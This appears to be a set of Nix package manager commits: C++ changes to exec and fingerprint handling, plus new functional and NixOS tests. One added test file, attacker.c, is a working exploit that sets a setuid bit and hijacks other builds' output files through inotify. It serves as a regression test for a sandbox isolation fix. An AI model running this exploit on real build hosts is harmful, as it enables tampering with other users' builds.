@@ -125,6 +125,7 @@ void closeMostFDs(const std::set<int> & exceptions)
#if __linux__
try {
for (auto & s : std::filesystem::directory_iterator{"/proc/self/fd"}) {
checkInterrupt();
auto fd = std::stoi(s.path().filename());
if (!exceptions.count(fd)) {
debug("closing leaked FD %d", fd);

View File

@@ -136,7 +136,7 @@ static void main_nix_build(int argc, char * * argv)
script = argv[1];
try {
auto lines = tokenizeString<Strings>(readFile(script), "\n");
if (std::regex_search(lines.front(), std::regex("^#!"))) {
if (!lines.empty() && std::regex_search(lines.front(), std::regex("^#!"))) {
lines.pop_front();
inShebang = true;
for (int i = 2; i < argc; ++i)
@@ -477,9 +477,7 @@ static void main_nix_build(int argc, char * * argv)
// Set the environment.
auto env = getEnv();
auto tmp = getEnvNonEmpty("TMPDIR");
if (!tmp)
tmp = getEnvNonEmpty("XDG_RUNTIME_DIR").value_or("/tmp");
auto tmp = getEnvNonEmpty("TMPDIR").value_or("/tmp");
if (pure) {
decltype(env) newEnv;
@@ -491,7 +489,7 @@ static void main_nix_build(int argc, char * * argv)
env["__ETC_PROFILE_SOURCED"] = "1";
}
env["NIX_BUILD_TOP"] = env["TMPDIR"] = env["TEMPDIR"] = env["TMP"] = env["TEMP"] = *tmp;
env["NIX_BUILD_TOP"] = env["TMPDIR"] = env["TEMPDIR"] = env["TMP"] = env["TEMP"] = tmp;
env["NIX_STORE"] = store->storeDir;
env["NIX_BUILD_CORES"] = std::to_string(settings.buildCores);

View File

@@ -696,7 +696,11 @@ struct CmdDevelop : Common, MixEnvironment
}
}
runProgramInStore(store, UseLookupPath::Use, shell, args, buildEnvironment.getSystem());
// Release our references to eval caches to ensure they are persisted to disk, because
// we are about to exec out of this process without running C++ destructors.
getEvalState()->evalCaches.clear();
execProgramInStore(store, UseLookupPath::Use, shell, args, buildEnvironment.getSystem());
#endif
}
};

View File

@@ -1,4 +1,5 @@
#include "command.hh"
#include "eval.hh"
#include "run.hh"
#include <queue>
@@ -99,7 +100,11 @@ struct CmdShell : InstallablesCommand, MixEnvironment
for (auto & arg : command)
args.push_back(arg);
runProgramInStore(store, UseLookupPath::Use, *command.begin(), args);
// Release our references to eval caches to ensure they are persisted to disk, because
// we are about to exec out of this process without running C++ destructors.
getEvalState()->evalCaches.clear();
execProgramInStore(store, UseLookupPath::Use, *command.begin(), args);
}
};

View File

@@ -7,6 +7,7 @@
#include "eval-settings.hh"
#include "flake/flake.hh"
#include "get-drvs.hh"
#include "signals.hh"
#include "store-api.hh"
#include "derivations.hh"
#include "outputs-spec.hh"
@@ -232,6 +233,8 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON
j["lastModified"] = *lastModified;
j["path"] = storePath;
j["locks"] = lockedFlake.lockFile.toJSON().first;
if (auto fingerprint = lockedFlake.getFingerprint(store))
j["fingerprint"] = fingerprint->to_string(HashFormat::Base16, false);
logger->cout("%s", j.dump());
} else {
logger->cout(
@@ -264,6 +267,10 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON
logger->cout(
ANSI_BOLD "Last modified:" ANSI_NORMAL " %s",
std::put_time(std::localtime(&*lastModified), "%F %T"));
if (auto fingerprint = lockedFlake.getFingerprint(store))
logger->cout(
ANSI_BOLD "Fingerprint:" ANSI_NORMAL " %s",
fingerprint->to_string(HashFormat::Base16, false));
if (!lockedFlake.lockFile.root->inputs.empty())
logger->cout(ANSI_BOLD "Inputs:" ANSI_NORMAL);
@@ -867,6 +874,7 @@ struct CmdFlakeInitCommon : virtual Args, EvalCommand
createDirs(to);
for (auto & entry : std::filesystem::directory_iterator{from}) {
checkInterrupt();
auto from2 = entry.path().string();
auto to2 = to + "/" + entry.path().filename().string();
auto st = lstat(from2);

View File

@@ -1,5 +1,6 @@
#include "command.hh"
#include "installable-value.hh"
#include "eval.hh"
#include "run.hh"
using namespace nix;
@@ -49,7 +50,11 @@ struct CmdFmt : SourceExprCommand {
}
}
runProgramInStore(store, UseLookupPath::DontUse, app.program, programArgs);
// Release our references to eval caches to ensure they are persisted to disk, because
// we are about to exec out of this process without running C++ destructors.
evalState->evalCaches.clear();
execProgramInStore(store, UseLookupPath::DontUse, app.program, programArgs);
};
};

View File

@@ -113,14 +113,15 @@ std::tuple<StorePath, Hash> prefetchFile(
createDirs(unpacked);
unpackTarfile(tmpFile.string(), unpacked);
auto entries = std::filesystem::directory_iterator{unpacked};
/* If the archive unpacks to a single file/directory, then use
that as the top-level. */
auto entries = std::filesystem::directory_iterator{unpacked};
auto file_count = std::distance(entries, std::filesystem::directory_iterator{});
if (file_count == 1)
tmpFile = entries->path();
else
tmpFile = entries->path();
auto fileCount = std::distance(entries, std::filesystem::directory_iterator{});
if (fileCount != 1) {
/* otherwise, use the directory itself */
tmpFile = unpacked;
}
}
Activity act(*logger, lvlChatty, actUnknown,

View File

@@ -3,6 +3,7 @@
#include "command-installable-value.hh"
#include "common-args.hh"
#include "shared.hh"
#include "signals.hh"
#include "store-api.hh"
#include "derivations.hh"
#include "local-fs-store.hh"
@@ -24,7 +25,7 @@ std::string chrootHelperName = "__run_in_chroot";
namespace nix {
void runProgramInStore(ref<Store> store,
void execProgramInStore(ref<Store> store,
UseLookupPath useLookupPath,
const std::string & program,
const Strings & args,
@@ -127,7 +128,11 @@ struct CmdRun : InstallableValueCommand
Strings allArgs{app.program};
for (auto & i : args) allArgs.push_back(i);
runProgramInStore(store, UseLookupPath::DontUse, app.program, allArgs);
// Release our references to eval caches to ensure they are persisted to disk, because
// we are about to exec out of this process without running C++ destructors.
state->evalCaches.clear();
execProgramInStore(store, UseLookupPath::DontUse, app.program, allArgs);
}
};
@@ -172,6 +177,7 @@ void chrootHelper(int argc, char * * argv)
throw SysError("mounting '%s' on '%s'", realStoreDir, storeDir);
for (auto entry : std::filesystem::directory_iterator{"/"}) {
checkInterrupt();
auto src = entry.path().string();
Path dst = tmpDir + "/" + entry.path().filename().string();
if (pathExists(dst)) continue;

View File

@@ -10,7 +10,7 @@ enum struct UseLookupPath {
DontUse
};
void runProgramInStore(ref<Store> store,
void execProgramInStore(ref<Store> store,
UseLookupPath useLookupPath,
const std::string & program,
const Strings & args,

View File

@@ -202,7 +202,11 @@ static PeerInfo getPeerInfo(int remote)
#if defined(SO_PEERCRED)
ucred cred;
# if defined(__OpenBSD__)
struct sockpeercred cred;
# else
ucred cred;
# endif
socklen_t credLen = sizeof(cred);
if (getsockopt(remote, SOL_SOCKET, SO_PEERCRED, &cred, &credLen) == -1)
throw SysError("getting peer credentials");
@@ -210,9 +214,9 @@ static PeerInfo getPeerInfo(int remote)
#elif defined(LOCAL_PEERCRED)
#if !defined(SOL_LOCAL)
#define SOL_LOCAL 0
#endif
# if !defined(SOL_LOCAL)
# define SOL_LOCAL 0
# endif
xucred cred;
socklen_t credLen = sizeof(cred);

Binary file not shown.

View File

@@ -1,21 +0,0 @@
#!/usr/bin/env bash
source common.sh
clearStore
rm -rf $TEST_ROOT/case
opts="--option use-case-hack true"
# Check whether restoring and dumping a NAR that contains case
# collisions is round-tripping, even on a case-insensitive system.
nix-store $opts --restore $TEST_ROOT/case < case.nar
nix-store $opts --dump $TEST_ROOT/case > $TEST_ROOT/case.nar
cmp case.nar $TEST_ROOT/case.nar
[ "$(nix-hash $opts --type sha256 $TEST_ROOT/case)" = "$(nix-hash --flat --type sha256 case.nar)" ]
# Check whether we detect true collisions (e.g. those remaining after
# removal of the suffix).
touch "$TEST_ROOT/case/xt_CONNMARK.h~nix~case~hack~3"
(! nix-store $opts --dump $TEST_ROOT/case > /dev/null)

View File

@@ -46,7 +46,10 @@ test_custom_build_dir() {
--no-out-link --keep-failed --option build-dir "$TEST_ROOT/custom-build-dir" 2> $TEST_ROOT/log || status=$?
[ "$status" = "100" ]
[[ 1 == "$(count "$customBuildDir/nix-build-"*)" ]]
local buildDir="$customBuildDir/nix-build-"*
local buildDir="$customBuildDir/nix-build-"*""
if [[ -e $buildDir/build ]]; then
buildDir=$buildDir/build
fi
grep $checkBuildId $buildDir/checkBuildId
}
test_custom_build_dir

Binary file not shown.

View File

@@ -7,12 +7,22 @@ requireGit
flake1Dir="$TEST_ROOT/eval-cache-flake"
createGitRepo "$flake1Dir" ""
cp ../simple.nix ../simple.builder.sh ../config.nix "$flake1Dir/"
git -C "$flake1Dir" add simple.nix simple.builder.sh config.nix
git -C "$flake1Dir" commit -m "config.nix"
cat >"$flake1Dir/flake.nix" <<EOF
{
description = "Fnord";
outputs = { self }: {
outputs = { self }: let inherit (import ./config.nix) mkDerivation; in {
foo.bar = throw "breaks";
drv = mkDerivation {
name = "build";
buildCommand = ''
echo true > \$out
'';
};
ifd = assert (import self.drv); self.drv;
};
}
EOF
@@ -22,3 +32,8 @@ git -C "$flake1Dir" commit -m "Init"
expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks'
expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks'
# Conditional error should not be cached
expect 1 nix build "$flake1Dir#ifd" --option allow-import-from-derivation false 2>&1 \
| grepQuiet 'error: cannot build .* during evaluation because the option '\''allow-import-from-derivation'\'' is disabled'
nix build "$flake1Dir#ifd"

View File

@@ -189,6 +189,7 @@ json=$(nix flake metadata flake1 --json | jq .)
[[ -d $(echo "$json" | jq -r .path) ]]
[[ $(echo "$json" | jq -r .lastModified) = $(git -C "$flake1Dir" log -n1 --format=%ct) ]]
hash1=$(echo "$json" | jq -r .revision)
[[ -n $(echo "$json" | jq -r .fingerprint) ]]
echo foo > "$flake1Dir/foo"
git -C "$flake1Dir" add $flake1Dir/foo

View File

@@ -108,7 +108,7 @@ nix_tests = \
derivation-json.sh \
import-derivation.sh \
nix_path.sh \
case-hack.sh \
nars.sh \
placeholders.sh \
ssh-relay.sh \
build.sh \

92
tests/functional/nars.sh Executable file
View File

@@ -0,0 +1,92 @@
#!/usr/bin/env bash
source common.sh
clearStore
# Check that NARs with duplicate directory entries are rejected.
rm -rf "$TEST_ROOT/out"
expectStderr 1 nix-store --restore "$TEST_ROOT/out" < duplicate.nar | grepQuiet "NAR directory is not sorted"
# Check that nix-store --restore fails if the output already exists.
expectStderr 1 nix-store --restore "$TEST_ROOT/out" < duplicate.nar | grepQuiet "creating directory '.*/out': File exists"
rm -rf "$TEST_ROOT/out"
echo foo > "$TEST_ROOT/out"
expectStderr 1 nix-store --restore "$TEST_ROOT/out" < duplicate.nar | grepQuiet "creating directory '.*/out': File exists"
rm -rf "$TEST_ROOT/out"
ln -s "$TEST_ROOT/out2" "$TEST_ROOT/out"
expectStderr 1 nix-store --restore "$TEST_ROOT/out" < duplicate.nar | grepQuiet "creating directory '.*/out': File exists"
mkdir -p "$TEST_ROOT/out2"
expectStderr 1 nix-store --restore "$TEST_ROOT/out" < duplicate.nar | grepQuiet "creating directory '.*/out': File exists"
# The same, but for a regular file.
nix-store --dump ./nars.sh > "$TEST_ROOT/tmp.nar"
rm -rf "$TEST_ROOT/out"
nix-store --restore "$TEST_ROOT/out" < "$TEST_ROOT/tmp.nar"
expectStderr 1 nix-store --restore "$TEST_ROOT/out" < "$TEST_ROOT/tmp.nar" | grepQuiet "File exists"
rm -rf "$TEST_ROOT/out"
mkdir -p "$TEST_ROOT/out"
expectStderr 1 nix-store --restore "$TEST_ROOT/out" < "$TEST_ROOT/tmp.nar" | grepQuiet "File exists"
rm -rf "$TEST_ROOT/out"
ln -s "$TEST_ROOT/out2" "$TEST_ROOT/out"
expectStderr 1 nix-store --restore "$TEST_ROOT/out" < "$TEST_ROOT/tmp.nar" | grepQuiet "File exists"
mkdir -p "$TEST_ROOT/out2"
expectStderr 1 nix-store --restore "$TEST_ROOT/out" < "$TEST_ROOT/tmp.nar" | grepQuiet "File exists"
# The same, but for a symlink.
ln -sfn foo "$TEST_ROOT/symlink"
nix-store --dump "$TEST_ROOT/symlink" > "$TEST_ROOT/tmp.nar"
rm -rf "$TEST_ROOT/out"
nix-store --restore "$TEST_ROOT/out" < "$TEST_ROOT/tmp.nar"
[[ -L "$TEST_ROOT/out" ]]
expectStderr 1 nix-store --restore "$TEST_ROOT/out" < "$TEST_ROOT/tmp.nar" | grepQuiet "File exists"
rm -rf "$TEST_ROOT/out"
mkdir -p "$TEST_ROOT/out"
expectStderr 1 nix-store --restore "$TEST_ROOT/out" < "$TEST_ROOT/tmp.nar" | grepQuiet "File exists"
rm -rf "$TEST_ROOT/out"
ln -s "$TEST_ROOT/out2" "$TEST_ROOT/out"
expectStderr 1 nix-store --restore "$TEST_ROOT/out" < "$TEST_ROOT/tmp.nar" | grepQuiet "File exists"
mkdir -p "$TEST_ROOT/out2"
expectStderr 1 nix-store --restore "$TEST_ROOT/out" < "$TEST_ROOT/tmp.nar" | grepQuiet "File exists"
# Check whether restoring and dumping a NAR that contains case
# collisions is round-tripping, even on a case-insensitive system.
rm -rf "$TEST_ROOT/case"
opts=("--option" "use-case-hack" "true")
nix-store "${opts[@]}" --restore "$TEST_ROOT/case" < case.nar
nix-store "${opts[@]}" --dump "$TEST_ROOT/case" > "$TEST_ROOT/case.nar"
cmp case.nar "$TEST_ROOT/case.nar"
[ "$(nix-hash "${opts[@]}" --type sha256 "$TEST_ROOT/case")" = "$(nix-hash --flat --type sha256 case.nar)" ]
# Check whether we detect true collisions (e.g. those remaining after
# removal of the suffix).
touch "$TEST_ROOT/case/xt_CONNMARK.h~nix~case~hack~3"
(! nix-store "${opts[@]}" --dump "$TEST_ROOT/case" > /dev/null)
# Detect NARs that have a directory entry that after case-hacking
# collides with another entry (e.g. a directory containing 'Test',
# 'Test~nix~case~hack~1' and 'test').
rm -rf "$TEST_ROOT/case"
expectStderr 1 nix-store "${opts[@]}" --restore "$TEST_ROOT/case" < case-collision.nar | grepQuiet "NAR contains file name 'test' that collides with case-hacked file name 'Test~nix~case~hack~1'"
# Deserializing a NAR that contains file names that Unicode-normalize
# to the same name should fail on macOS but succeed on Linux.
rm -rf "$TEST_ROOT/out"
if [[ $(uname) = Darwin ]]; then
expectStderr 1 nix-store --restore "$TEST_ROOT/out" < unnormalized.nar | grepQuiet "File exists"
else
nix-store --restore "$TEST_ROOT/out" < unnormalized.nar
[[ -e $TEST_ROOT/out/â ]]
[[ -e $TEST_ROOT/out/â ]]
fi

View File

@@ -54,6 +54,18 @@ test_tarball() {
# with the content-addressing
(! nix-instantiate --eval -E "fetchTree { type = \"tarball\"; url = file://$tarball; narHash = \"$hash\"; name = \"foo\"; }")
store_path=$(nix store prefetch-file --json "file://$tarball" | jq -r .storePath)
if ! cmp -s "$store_path" "$tarball"; then
echo "prefetched tarball differs from original: $store_path vs $tarball" >&2
exit 1
fi
store_path2=$(nix store prefetch-file --json --unpack "file://$tarball" | jq -r .storePath)
diff_output=$(diff -r "$store_path2" "$tarroot")
if [ -n "$diff_output" ]; then
echo "prefetched tarball differs from original: $store_path2 vs $tarroot" >&2
echo "$diff_output"
exit 1
fi
}
test_tarball '' cat

Binary file not shown.

View File

@@ -162,4 +162,8 @@ in
ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
gzip-content-encoding = runNixOSTestFor "x86_64-linux" ./gzip-content-encoding.nix;
user-sandboxing = runNixOSTestFor "x86_64-linux" ./user-sandboxing;
fetchurl = runNixOSTestFor "x86_64-linux" ./fetchurl.nix;
}

84
tests/nixos/fetchurl.nix Normal file
View File

@@ -0,0 +1,84 @@
# Test whether builtin:fetchurl properly performs TLS certificate
# checks on HTTPS servers.
{ pkgs, ... }:
let
makeTlsCert = name: pkgs.runCommand name {
nativeBuildInputs = with pkgs; [ openssl ];
} ''
mkdir -p $out
openssl req -x509 \
-subj '/CN=${name}/' -days 49710 \
-addext 'subjectAltName = DNS:${name}' \
-keyout "$out/key.pem" -newkey ed25519 \
-out "$out/cert.pem" -noenc
'';
goodCert = makeTlsCert "good";
badCert = makeTlsCert "bad";
in
{
name = "nss-preload";
nodes = {
machine = { pkgs, ... }: {
services.nginx = {
enable = true;
virtualHosts."good" = {
addSSL = true;
sslCertificate = "${goodCert}/cert.pem";
sslCertificateKey = "${goodCert}/key.pem";
root = pkgs.runCommand "nginx-root" {} ''
mkdir "$out"
echo 'hello world' > "$out/index.html"
'';
};
virtualHosts."bad" = {
addSSL = true;
sslCertificate = "${badCert}/cert.pem";
sslCertificateKey = "${badCert}/key.pem";
root = pkgs.runCommand "nginx-root" {} ''
mkdir "$out"
echo 'foobar' > "$out/index.html"
'';
};
};
security.pki.certificateFiles = [ "${goodCert}/cert.pem" ];
networking.hosts."127.0.0.1" = [ "good" "bad" ];
virtualisation.writableStore = true;
nix.settings.experimental-features = "nix-command";
};
};
testScript = ''
machine.wait_for_unit("nginx")
machine.wait_for_open_port(443)
out = machine.succeed("curl https://good/index.html")
assert out == "hello world\n"
out = machine.succeed("cat ${badCert}/cert.pem > /tmp/cafile.pem; curl --cacert /tmp/cafile.pem https://bad/index.html")
assert out == "foobar\n"
# Fetching from a server with a trusted cert should work.
machine.succeed("nix build --no-substitute --expr 'import <nix/fetchurl.nix> { url = \"https://good/index.html\"; hash = \"sha256-qUiQTy8PR5uPgZdpSzAYSw0u0cHNKh7A+4XSmaGSpEc=\"; }'")
# Fetching from a server with an untrusted cert should fail.
err = machine.fail("nix build --no-substitute --expr 'import <nix/fetchurl.nix> { url = \"https://bad/index.html\"; hash = \"sha256-rsBwZF/lPuOzdjBZN2E08FjMM3JHyXit0Xi2zN+wAZ8=\"; }' 2>&1")
print(err)
assert "SSL certificate problem: self-signed certificate" in err
# Fetching from a server with a trusted cert should work via environment variable override.
machine.succeed("NIX_SSL_CERT_FILE=/tmp/cafile.pem nix build --no-substitute --expr 'import <nix/fetchurl.nix> { url = \"https://bad/index.html\"; hash = \"sha256-rsBwZF/lPuOzdjBZN2E08FjMM3JHyXit0Xi2zN+wAZ8=\"; }'")
'';
}

View File

@@ -66,6 +66,9 @@ in
# Check that we got redirected to the immutable URL.
assert info["locked"]["url"] == "http://localhost/stable/${nixpkgs.rev}.tar.gz"
# Check that we got a fingerprint for caching.
assert info["fingerprint"]
# Check that we got the rev and revCount attributes.
assert info["revision"] == "${nixpkgs.rev}"
assert info["revCount"] == 1234

View File

@@ -0,0 +1,82 @@
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
#define SYS_fchmodat2 452
int fchmodat2(int dirfd, const char * pathname, mode_t mode, int flags)
{
return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags);
}
int main(int argc, char ** argv)
{
if (argc <= 1) {
// stage 1: place the setuid-builder executable
// make the build directory world-accessible first
chmod(".", 0755);
if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) {
perror("Setting the suid bit on attacker");
exit(-1);
}
} else {
// stage 2: corrupt the victim derivation while it's building
// prevent the kill
if (setresuid(-1, -1, getuid())) {
perror("setresuid");
exit(-1);
}
if (fork() == 0) {
// wait for the victim to build
int fd = inotify_init();
inotify_add_watch(fd, argv[1], IN_CREATE);
int dirfd = open(argv[1], O_DIRECTORY);
if (dirfd < 0) {
perror("opening the global build directory");
exit(-1);
}
char buf[4096];
fprintf(stderr, "Entering the inotify loop\n");
for (;;) {
ssize_t len = read(fd, buf, sizeof(buf));
struct inotify_event * ev;
for (char * pe = buf; pe < buf + len; pe += sizeof(struct inotify_event) + ev->len) {
ev = (struct inotify_event *) pe;
fprintf(stderr, "folder %s created\n", ev->name);
// wait a bit to prevent racing against the creation
sleep(1);
int builddir = openat(dirfd, ev->name, O_DIRECTORY);
if (builddir < 0) {
perror("opening the build directory");
continue;
}
int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC);
if (resultfile < 0) {
perror("opening the hijacked file");
continue;
}
int writeres = write(resultfile, "bad\n", 4);
if (writeres < 0) {
perror("writing to the hijacked file");
continue;
}
fprintf(stderr, "Hijacked the build for %s\n", ev->name);
return 0;
}
}
}
exit(0);
}
}

View File

@@ -0,0 +1,129 @@
{ config, ... }:
let
pkgs = config.nodes.machine.nixpkgs.pkgs;
attacker = pkgs.runCommandWith {
name = "attacker";
stdenv = pkgs.pkgsStatic.stdenv;
} ''
$CC -static -o $out ${./attacker.c}
'';
try-open-build-dir = pkgs.writeScript "try-open-build-dir" ''
export PATH=${pkgs.coreutils}/bin:$PATH
set -x
chmod 700 .
# Shouldn't be able to open the root build directory
(! chmod 700 ..)
touch foo
# Synchronisation point: create a world-writable fifo and wait for someone
# to write into it
mkfifo syncPoint
chmod 777 syncPoint
cat syncPoint
touch $out
set +x
'';
create-hello-world = pkgs.writeScript "create-hello-world" ''
export PATH=${pkgs.coreutils}/bin:$PATH
set -x
echo "hello, world" > result
# Synchronisation point: create a world-writable fifo and wait for someone
# to write into it
mkfifo syncPoint
chmod 777 syncPoint
cat syncPoint
cp result $out
set +x
'';
in
{
name = "sandbox-setuid-leak";
nodes.machine =
{ config, lib, pkgs, ... }:
{ virtualisation.writableStore = true;
nix.settings.substituters = lib.mkForce [ ];
nix.nrBuildUsers = 1;
virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell attacker try-open-build-dir create-hello-world pkgs.socat ];
boot.kernelPackages = pkgs.linuxPackages_latest;
users.users.alice = {
isNormalUser = true;
};
};
testScript = { nodes }: ''
start_all()
with subtest("A builder can't give access to its build directory"):
# Make sure that a builder can't change the permissions on its build
# directory to the point of opening it up to external users
# A derivation whose builder tries to make its build directory as open
# as possible and wait for someone to hijack it
machine.succeed(r"""
nix-build -v -E '
builtins.derivation {
name = "open-build-dir";
system = builtins.currentSystem;
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
args = [ (builtins.storePath "${try-open-build-dir}") ];
}' >&2 &
""".strip())
# Wait for the build to be ready
# This is OK because it runs as root, so we can access everything
machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/build/syncPoint")
# But Alice shouldn't be able to access the build directory
machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0/build'")
machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/build/bar'")
machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/build/foo'")
# Tell the user to finish the build
machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/build/syncPoint")
with subtest("Being able to execute stuff as the build user doesn't give access to the build dir"):
machine.succeed(r"""
nix-build -E '
builtins.derivation {
name = "innocent";
system = builtins.currentSystem;
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
args = [ (builtins.storePath "${create-hello-world}") ];
}' >&2 &
""".strip())
machine.wait_for_file("/tmp/nix-build-innocent.drv-0/build/syncPoint")
# The build ran as `nixbld1` (which is the only build user on the
# machine), but a process running as `nixbld1` outside the sandbox
# shouldn't be able to touch the build directory regardless
machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0/build'")
machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/build/result'")
# Finish the build
machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/build/syncPoint")
# Check that the build was not affected
machine.succeed(r"""
cat ./result
test "$(cat ./result)" = "hello, world"
""".strip())
'';
}